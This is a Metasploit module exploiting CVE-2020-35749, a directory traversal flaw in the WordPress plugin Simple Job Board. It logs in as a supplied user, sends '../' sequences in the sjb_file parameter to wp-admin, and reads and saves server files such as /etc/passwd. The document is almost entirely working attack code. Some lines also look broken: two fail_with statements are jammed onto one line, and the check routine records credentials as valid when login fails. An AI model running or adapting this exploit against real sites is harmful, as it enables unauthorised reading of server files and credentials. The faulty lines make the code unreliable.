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Wordpress Plugin Simple Job Board 2.9.3 - Authenticated File Read (Metasploit)

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
    include Msf::Auxiliary::Report
    include Msf::Exploit::Remote::HTTP::Wordpress
    include Msf::Auxiliary::Scanner

      def initialize(info = {})
          super(update_info(info,
            'Name'           => 'Simple JobBoard Authenticated File Read Vulnerability',
            'Description'    => %q{
                This module exploits an authenticated directory traversal vulnerability in WordPress plugin 'Simple JobBoard ' < 2.9.3,
                allowing arbitrary file read with the web server privileges.
            },
            'Author'         =>
              [
                'Arcangelo Saracino', # Vulnerability discovery
                'Hoa Nguyen - Suncsr Team',    # Metasploit module
              ],
            'License'        => MSF_LICENSE,
            'References'     =>
              [
                ['CVE', '2020-35749'],
                ['WPVDB', 'eed3bd69-2faf-4bc9-915c-c36211ef9e2d'],
                ['URL','https://arkango.github.io/CVE-2020/CVE-2020-35749%20DIr.%20Traversal%20Simple%20Board%20Job%20Wordpress%20plugin.html']
              ],
            'DisclosureDate' => 'Jan 15 2021'))

            register_options([
                OptString.new('FILEPATH',[true,'The path to the file to read','/etc/passwd']),
                OptString.new('USERNAME',[true,'The WordPress username to authenticate with']),
                OptString.new('PASSWORD',[true,'The Wordpress password to authenticate with']),
                OptInt.new('DEPTH',[true,'Traversal Depth (to reach the root folder',8]),
            ])
            end

            def username
                datastore['USERNAME']
            end

            def password
                datastore['PASSWORD']
            end

            def check
                cookie = wordpress_login(username,password)
                if cookie.nil?
                    store_valid_credential(user: username, private: password, proof: cookie)
                    return CheckCode::Safe
                end
                CheckCode::Appears
            end

            def run_host(ip)
                cookie = wordpress_login(username, password)
                traversal = '../' * datastore['DEPTH']
                filename = datastore['FILEPATH']
                filename = filename[1, filename.length] if filename =~ /^\//

                res = send_request_cgi({
                    'cookie' => cookie,
                    'method' => 'GET',
                    'uri' => normalize_uri(target_uri.path,'wp-admin',''),
                    'vars_get' =>
                    {
                        'post' => 'application_id',
                        'action' => 'edit',
                        'sjb_file' => "#{traversal}#{filename}"
                    }
                })

                fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
                fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
                print_good('Downloading file ...')
                print_line("\n#{res.body}\n")
                fname = datastore['FILEPATH']
                path = store_loot(
                    'Simple_JobBoard.traversal',
                    'text/plain',
                    ip,
                    res.body,
                    fname
                )
                print_good("File save in: #{path}")
            end
        end
            
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